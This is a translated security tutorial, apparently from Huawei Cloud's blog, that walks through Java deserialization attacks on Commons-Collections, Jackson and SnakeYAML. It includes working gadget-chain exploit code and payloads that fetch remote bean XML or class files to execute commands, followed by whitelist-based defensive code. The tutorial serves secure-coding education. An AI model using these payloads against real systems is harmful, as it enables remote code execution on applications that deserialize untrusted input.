Security Attack and Defense丨Practical Exercises of Deserialization Vulnerabilities

1. Basic concepts

Serialization: convert memory objects into binary bytes, xml, json, yaml and other formats that can be stored and transmitted.

Deserialization: Restore and convert information in binary byte, xml, json, yaml and other formats stored in the virtual column into object instances.

Data Format

Serialized information sample

binary

cke_133.png

xml

cke_134.png

json

{"name":"tianyi","age":20}

yaml

!!com.huaweicloud.secure.Person {age: 20, name: tianyi}\n

Serialization/deserialization library: If you want to serialize an object into a binary format (or deserialize it back to an object), you can directly use the readObject and writeObject methods of the ObjectOutputStream that comes with the JDK library. If you want to convert with other formats (xml, json, yaml), you generally need to introduce other open source components such as jackson, snakeyaml, etc., and use the library methods provided in the open source components.

library name

Serialization supported formats

jdk

binary, xml

xstream

xml、json

jackson

xml、json

fastjson

json

gson

json

json

json

flexson

json

snakeyaml

yaml

Deserialization vulnerability: When the deserialization-related methods are used in the business code, but the input deserialization data is not fully checked, and the attacker can control the input of the deserialization data, the attacker can target the business The JDK of the code, the version of the open source component, and the status of the loaded class carefully construct a series of object chain data, and finally achieve the effect of arbitrary command line execution or remote code execution.

2. JDK deserialization exploits in practice

2.1 JDK and open source component version preparation

JDK version: 1.8.0_232 (other updated versions should also be ok, no specific verification one by one)

commons-collections component version: 3.2.1 (starting from 3.2.2, a security check has been added, which requires manual setting of System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");)

<dependency>

<groupId>commons-collections</groupId>

<artifactId>commons-collections</artifactId>

<version>3.2.1</version>

</dependency>

2.2 Vulnerability Exploitation Code Demonstration

public static void main(String[] args) throws Exception{

// 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};

Transformer chain4Obj = new ChainedTransformer(transformers);

LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj);

TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");

// 构造利用链的第一环BadAttributeValueExpException对象,因相关方法非public,使用反射强行设置val属性

BadAttributeValueExpException chain1Obj = new BadAttributeValueExpException(null);

Field valField = chain1Obj.getClass().getDeclaredField("val");

valField.setAccessible(true);

valField.set(chain1Obj, chain2Obj);

// 使用jdk库函数将chain1Obj序列化到文件D:\hacker中

ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker"));

objOut.writeObject(chain1Obj);

// 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行

ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker"));

Object object = objIn.readObject();

}

As a result of the execution, the calculator application of the window was successfully opened, and the vulnerability was exploited successfully

image.png

Since the code in the serialization part serializes the object into the file D:\hacker, in fact, we can directly read the file and deserialize it to trigger the command line execution (or if I send the file to you, you can Executing deserialization locally will also trigger command execution), as follows

image.png

2.3 Analysis of Vulnerability Exploitation Principles

  1. First of all, the ultimate goal of exploiting deserialization vulnerabilities is to be able to execute command line commands or remote code execution arbitrarily. In this example, it is achieved to execute arbitrary command line commands, that is, the command calc in this example. In Java, it is equivalent to executing code: Runtime.getRuntime().exec("calc"); where calc is just an example and can be replaced with any other command.
  2. Does that mean just writing this line of code directly into the demo program? No, you can only write this line of code directly when the demo program is running. There is no way to execute it in the actual deserialized business code. We need to use the method that the deserialization process itself will call as the entry point to trigger the execution of our injected command. The deserialization process of ObjectInputStream.readObject in jdk will call the readObject method of the target deserialized object. We need to use this entry to call our injected command.
  3. Does that mean directly defining an object X, just write this line of code (Runtime.getRuntime().exec("calc");) in the readObject method? Why is the sample code so complicated? The answer is still no. This can only be executed locally by the attacker, and there is no definition of the class X in the business execution environment. It will report ClassNotFoundException.

image.png
  1. Therefore, we can only use the jdk loaded by the business code itself and the classes in common open source components to construct a serialized attack chain. The first link of the attack chain selected in this example is the BadAttributeValueExpException object. When deserialization is performed, the readObject method that calls BadAttributeValueExpException is first triggered.

2.4 Detailed Explanation of Attack Chain Call Process

The first link of the attack chain call is the readObject method of BadAttributeValueExpException:

BadAttributeValueExpException.readObject:

Among them, valObj is the chain2Obj object (TiedMapEntry type) that we execute valField.set(chain1Obj, chain2Obj) in the demo sample; set the val attribute, and then call the toString method of TiedMapEntry:

TiedMapEntry.toString:

image.png

Immediately to the getValue method

TiedMapEntry.getValue:

this.map is for us to execute TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey"); in the demo sample to initialize the chain3Obj object (LazyMap type), so the get method of LazyMap will be called next:

LazyMap.get:

image.png

this.factory executes LazyMap chain3Obj = (LazyMap)LazyMap.decorate(new HashMap(), chain4Obj) in the demo sample for us; initialize the chain4Obj object (ChainedTransformer type), so then execute the transform method of ChainedTransformer:

ChainedTransformer.transform:

This method will traverse the command line execution code that we inject into the Transformer array and execute indirectly using the reflection mechanism of InvokerTransformer. It is equivalent to using the library function loaded by the business code to indirectly realize the execution of the custom code by passing the value (using the reflection mechanism). The Transformer array traversal and execution of transform is equivalent to the execution of Runtime.getRuntime().exec("calc "); This line of code.

2.5 Summary of attack chain

Using libraries: jdk, commons-collections

Use the entry: the readObject method of BadAttributeValueExpException

Achievement effect: arbitrary command line execution

Mechanism involved: reflection

Attack chain object relationship diagram:

cke_135.png

Attack chain call sequence diagram:

cke_136.png

2.6 Advanced extension - other classic attack chains

If the deserialization of the BadAttributeValueExpException class is prohibited through the blacklist method in business, can deserialization attacks be prevented? the answer is negative. This chain is banned, we just need to change it. This section introduces another classic attack chain of commons-collections.

Use library: jdk (below version 1.8), commons-collections (keep consistent with the above version)

Use the entry: readObject method of AnnotationInvocationHandler

Achievement effect: arbitrary command line execution

Mechanisms involved: reflection, dynamic proxy

Code Poc:

public static void main(String[] args) throws Exception{

// 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};

Transformer chanin5Obj = new ChainedTransformer(transformers);

LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];

constructor.setAccessible(true);

InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);

Map chain2Obj = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);

InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

// 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中

ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));

objOut.writeObject(chain1Obj);

// 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行

ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));

Object object = objIn.readObject();

}

Execution result: Although there is an error reported in the subsequent code, the code of the injected command line has been executed.

Attack chain call sequence diagram:

cke_137.png

2.7 Secure Coding Defenses

Above we have seen a series of attack chains built using multiple classes of commonly used open source components. If only blacklists are used to restrict the deserialization of classes on certain attack chains, it is not enough, and a steady stream of new attack chains will be mined come out. Therefore, in order to make the code more controlled and safer, it is best to sort out the list of classes that need to be deserialized in the business and perform whitelist verification.

Control deserialization source: If the deserialization data source can be easily controlled by external users, whitelist verification must be done. If the data source cannot be externally controlled during normal business, but it cannot be completely ruled out that the attacker breaks in through other means and tampers with the dependent data source to launch combined attacks, it is best to implement whitelist protection.

Whitelist verification: When it comes to deserialization using ObjectInputStream, rewrite the resolveClass method to add whitelist verification. The business code uses the rewritten SecureObjectInputStream class for deserialization.

public final class SecureObjectInputStream extends ObjectInputStream {

public SecureObjectInputStream(InputStream in) throws IOException {

super(in);

}

protected SecureObjectInputStream() throws IOException, SecurityException {

super();

}

protected Class<?> resolveClass(ObjectStreamClass desc)

throws IOException, ClassNotFoundException {

if (!desc.getName().equals("com.huaweicloud.secure.serialize.jdk.Person")) { // 白名单校验

throw new ClassNotFoundException(desc.getName() + " not find");

}

return super.resolveClass(desc);

}

}

3. Jackson deserialization exploits in practice

3.1 JDK and open source component version preparation

JDK version: 1.8.0_232 (other updated versions should also be ok, no specific verification one by one)

jackson-databind component version: 2.7.0

<dependency>

<groupId>com.fasterxml.jackson.core</groupId>

<artifactId>jackson-databind</artifactId>

<version>2.7.0</version>

</dependency>

spring-context component version: 4.3.29.RELEASE

<dependency>

<groupId>org.springframework</groupId>

<artifactId>spring-context</artifactId>

<version>4.3.29.RELEASE</version>

</dependency>

3.2 Vulnerability Exploitation Code Demonstration

  • Remote server environment preparation

In this example, the http server needs to be started, so that the content of the malicious bean definition file hackerbean.xml can be obtained through the http protocol

hackerbean.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="hacker" class="java.lang.ProcessBuilder">

<constructor-arg value="calc" />

<property name="whatever" value="#{ hacker.start() }"/>

</bean>

</beans>

 This example starts the http server through nodejs

staticServer.js

let express = require('express')

let app = express();

app.use(express.static(__dirname));

app.listen(3000)

Start the http server and verify that the hackerbean.xml file can be accessed successfully

  • Attack sample code
public static void main(String[] args) throws Exception{

String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:3000/hackerbean.xml\"]\n";

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

Object obj = mapper.readValue(json, Object.class);

System.out.println(obj);

}
  •  Results of the

The log will report that the creation of the bean fails and an exception is thrown, but our key code for executing the command line command has been executed, and the calculator is successfully opened

3.3 Analysis of Vulnerability Exploitation Principles

  • The ultimate goal of this example is to inject arbitrary strings as command line execution content by using the process of initializing beans of the ProcessImpl class by remotely loading the bean configuration file to achieve the effect of executing any command line command.
  • This example uses Jackson's enableDefaultTyping (default type processing) function. In the Jackson library, enableDefaultTyping is a method used to enable default typing. What it does is include type information during serialization and deserialization so that polymorphic types can be handled correctly when restoring objects. Generally, mapper.readValue(json, Object.class); (the second parameter of readValue is Object.class) is used in conjunction with the writing method that does not specify a specific type in the business code, that is, the type after deserialization is not clearly specified in the code, and the type Information is stored in serialized data.
  • At this point, if the deserialized content is in the form of an array [a,b], and a is the name of the class path, the second parameter will be used as a parameter of the constructor or attribute set method to trigger the execution of the code corresponding to class a. (parameters after the second parameter will be ignored)

When b is in the object type format: trigger the execution of the no-argument constructor of a, and the execution of the corresponding attribute set method. (For example: ["com.huaweicloud.secure.MySerialize", {"name":"tianyi","age":12}] will trigger the execution of the setName and setAge methods)

When b is in a non-object type format: it will try to find a single-parameter parameter type matching construction method according to the type (string, number, bool, etc.), and if it cannot find it, an exception will be thrown.

  • In this example, the feature of enableDefaultTyping is used to create a ClassPathXmlApplicationContext object during the deserialization process, and http://127.0.0.1:3000/hackerbean.xml is passed in as a parameter to call the construction method of ClassPathXmlApplicationContext to achieve remote loading bean file analysis The role of beans.

3.4 Detailed Explanation of Attack Chain Call Process

The first link of the attack chain call is the construction method of ClassPathXmlApplicationContext:

ClassPathXmlApplicationContext.ClassPathXmlApplicationContext:

Load the remote file http://127.0.0.1:3000/hackerbean.xml as a bean for parsing

hackerbean.xml

Create ProcessBuilder, constructor dependency injection, call ProcessBuilder's construction method

Trying to initialize the value of the whatever attribute (the attribute does not need to actually exist), triggering the call to the start method of ProcessBuilder, and successfully executing the calc injected by the constructor in hackerbean.xml as a command line.

3.5 Summary of attack chain

Using libraries: jdk, jackson-databind, spring-context

Use the entry: the construction method of ClassPathXmlApplicationContext

Achievement effect: arbitrary command line execution (remotely loading bean configuration files)

Mechanisms involved: Jackson's enableDefaultTyping (default type processing) function, Spring bean remote loading/dependency injection/property dynamic initialization function

3.6 Advanced extension - other classic attack chains

If the second parameter of mapper.readValue is a specific class, is there still a way to attack? The answer is yes, but the business class needs to have a certain special way of writing.

Poc:

public static void main(String[] args) throws Exception{

String json = "{\"context\": \"http://127.0.0.1:3000/hackerbean.xml\"}";

ObjectMapper mapper = new ObjectMapper();

Object obj = mapper.readValue(json, Person.class);

System.out.println(obj);

}

Definition of Person class:

public class Person {

private String name;

private Integer age;

private ClassPathXmlApplicationContext context;

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public Integer getAge() {

return age;

}

public void setAge(Integer age) {

this.age = age;

}

public ClassPathXmlApplicationContext getContext() {

return context;

}

public void setContext(ClassPathXmlApplicationContext context) {

this.context = context;

}

}

Results of the:

Principle analysis:

readValue specifies the Person class to be deserialized. The content of json is {property name: property value}, which triggers the method of setting the property name of Person. In this example, it triggers the execution of the setContext(ClassPathXmlApplicationContext context) method, and the property value we pass in It is a string. When it does not match ClassPathXmlApplicationContext, it will automatically trigger the call to the construction method of ClassPathXmlApplicationContext, and pass in the string as a parameter of the construction method. Just connect with the above utilization chain. (And note that this example does not need to enable the enableDefaultTyping function)

3.7 Secure Coding Defenses

  • Control the deserialization source. Unless business needs, it is necessary to prohibit the deserialization data source from being controlled externally.
  • Disable the enableDefaultTyping feature
  • Deserialized attributes are strictly scrutinized, and they are preferably simple types. If complex classes are involved, check whether their construction methods are at risk of being used.

4. SnakeYaml deserialization exploits in practice

4.1 JDK and open source component version preparation

JDK version: 1.8.0_232 (other updated versions should also be ok, no specific verification one by one)

snakeyaml component version: 1.23

4.2 Vulnerability Exploitation Code Demonstration

  • Remote server environment preparation

In this example, the http server needs to be started, so that the configuration file META-INF\services\javax.script.ScriptEngineFactory and the content of the malicious class PoCWin.class can be loaded remotely through the http protocol

META-INF\services\javax.script.ScriptEngineFactory: (Create META-INF and services folders in turn in the root directory of the web server, and put javax.script.ScriptEngineFactory in the services folder)

PoCWin

The source code content corresponding to PoCWin.class: (placed in the root directory of the web server) 

public class PoCWin implements ScriptEngineFactory {

static {

try {

System.out.println("Hacked by tianyi");

Runtime.getRuntime().exec("calc.exe").waitFor();//执行计算器

} catch (IOException | InterruptedException e) {

e.printStackTrace();

}

}

// 其它接口必须实现的方法

...

}

This example starts the http server through nodejs

staticServer.js

let express = require('express')

let app = express();

app.use(express.static(__dirname));

app.listen(3000)

Start the http server and verify that you can successfully access the javax.script.ScriptEngineFactory file and the PoCWin.class file

  • Attack sample code
public static void main(String[] args) throws Exception{

String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]";

Yaml yaml = new Yaml();

Object object = yaml.load(poc);

System.out.println(object);

}
  •  Results of the

Successfully printed out Hacked by tianyi and popped up the calculator

4.3 Analysis of Vulnerability Exploitation Principles

  • The ultimate goal of this example is to inject arbitrary code into static blocks by remotely loading class files and using the class loading process to achieve the effect of remote arbitrary code execution.
  • Similar to jackson, snakeyaml also has two methods of unspecified type (Yaml.load) and specified type (Yaml.loadAs) when deserializing. In this example, the method of not specifying the type is used, and the type information is in the deserialization information. In this POC, "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\" http://127.0.0.1:3000/ \"]]]]" is The effect of deserialization is: create an object of type ScriptEngineManager, call its construction method ScriptEngineManager(ClassLoader loader), trigger the creation of an object of ClassLoader, and call its construction method URLClassLoader(URL[] urls), where \"http: / /127.0.0.1:3000/ \" is passed into the constructor as the urls parameter.
  • In this example, the Java SPI mechanism is used. The ScriptEngineManager class in the jdk will load all classes in the class loader that implement the javax.script.ScriptEngineFactory interface. We use this logic to create a PoCWin class that implements the ScriptEngineFactory interface and register it in the configuration file META-INF\services\javax.script.ScriptEngineFactory. (Note: The rule is to keep the registration file name consistent with the interface name)

Java SPI (Service Provider Interface) is a mechanism provided by Java for extending the framework. It allows developers to define an interface, and then dynamically load the specific implementation class of the interface into the application program through the configuration file.

4.4 Detailed Explanation of Attack Chain Call Process

The first link of the attack chain is the construction method of ScriptEngineManager:

The constructor of ScriptEngineManager

In order to call this construction method, it is necessary to complete the pre-initialization of its input classLoader first, call the construction method of URLClassLoader, and obtain the corresponding class file PoCWin.class to be loaded according to the incoming url address

Construction method of URLClassLoader

Then call the init method of ScriptEngineManager to load the class

ScriptEngineManager.init

Specifically, in line 122 of the ScriptEngineManager.initEngines method, the PoCWin class is acquired through traversal and loaded, triggering the execution of the static static block code. (The list of all classes that implement the javax.script.ScriptEngineFactory interface loaded by the class loader is obtained in sl)

ScriptEngineManager.initEngines

4.5 Summary of attack chain

Use library: jdk, snakeyaml

Use the entry: the construction method of ScriptEngineManager

Achievement effect: remote arbitrary code execution

Mechanism involved: Java SPI

4.6 Advanced extension - other classic attack chains

If the business code uses the typed deserialization method Yaml.loadAs, can it still be attacked? it is also fine.

Poc:

public static void main(String[] args) throws Exception{

String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";

Yaml yaml = new Yaml();

Object object = yaml.loadAs(poc, Person.class);

System.out.println(object);

}

Definition of Person class:

public class Person implements Serializable {

private String name;

private Integer age;

public String getName() {

return name;

}

public void setName(String name) {

this.name = name;

}

public Integer getAge() {

return age;

}

public void setAge(Integer age) {

this.age = age;

}

public Person(String name) {

System.out.println("init");

}

}

Results of the:

Principle analysis:

The loadAs method will initialize the part of the poc content [] as an object as a parameter object, and then call the single-parameter construction method Person(String name) of Person to pass in the parameter. Although an error will be reported that the parameter type does not match, [] The process of content initialization in has triggered the execution of malicious code. (Note: The poc in this example has one more layer of [] than the previous example. If there is no more layer of [], only the URLClassLoader object will be created as a parameter, and malicious code execution will not be triggered)

4.7 Secure Coding Defenses

Control deserialization source: If the deserialization data source can be easily controlled by external users, whitelist verification must be done. If the data source cannot be externally controlled during normal business, but it cannot be completely ruled out that the attacker breaks in through other means and tampers with the dependent data source to launch combined attacks, it is best to implement whitelist protection.

Whitelist verification: define our own SecureConstructor that supports whitelist, and inherit Constructor (when using the no-argument constructor new Yaml() to create a Yaml object, Constructor is used by default). Constructor will allow all classes to execute yaml object parsing logic by default (that is, execute the logic in ConstructYamlObject). So we first need to change the constructor corresponding to null in the map from ConstructYamlObject to undefinedConstructor in the constructor. Then create the addTrustClass method to support adding the specified class name to the map to achieve the effect of the whitelist.

public class SecureConstructor extends Constructor {

public SecureConstructor() {

super();

yamlConstructors.put(null, undefinedConstructor); // 修改逻辑为默认拒绝,即未在map中定义的类默认走undefinedConstructor的逻辑,抛异常

}



public void addTrustClass(String name) { // 添加类的全路径名则会进入白名单

yamlConstructors.put(new Tag(Tag.PREFIX + name), new SecureConstructObject());

}

protected class SecureConstructObject extends ConstructYamlObject {

public SecureConstructObject() {

super();

}

}

}

The business code passes SecureConstructor in the new Yaml to play the role of whitelist protection

public static void main(String[] args) throws Exception{

String poc = "[!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:3000/\"]]]]]";

SecureConstructor secureConstructor = new SecureConstructor();

secureConstructor.addTrustClass("com.huaweicloud.secure.serialize.snakeyaml.Person");

Yaml yaml = new Yaml(secureConstructor);

Object object = yaml.loadAs(poc, Person.class);

System.out.println(object);

}

The execution results are as follows, the ScriptEngineManager class is intercepted when it is created.

Click to follow and learn about Huawei Cloud's fresh technologies for the first time~

Guess you like

Origin blog.csdn.net/devcloud/article/details/132697062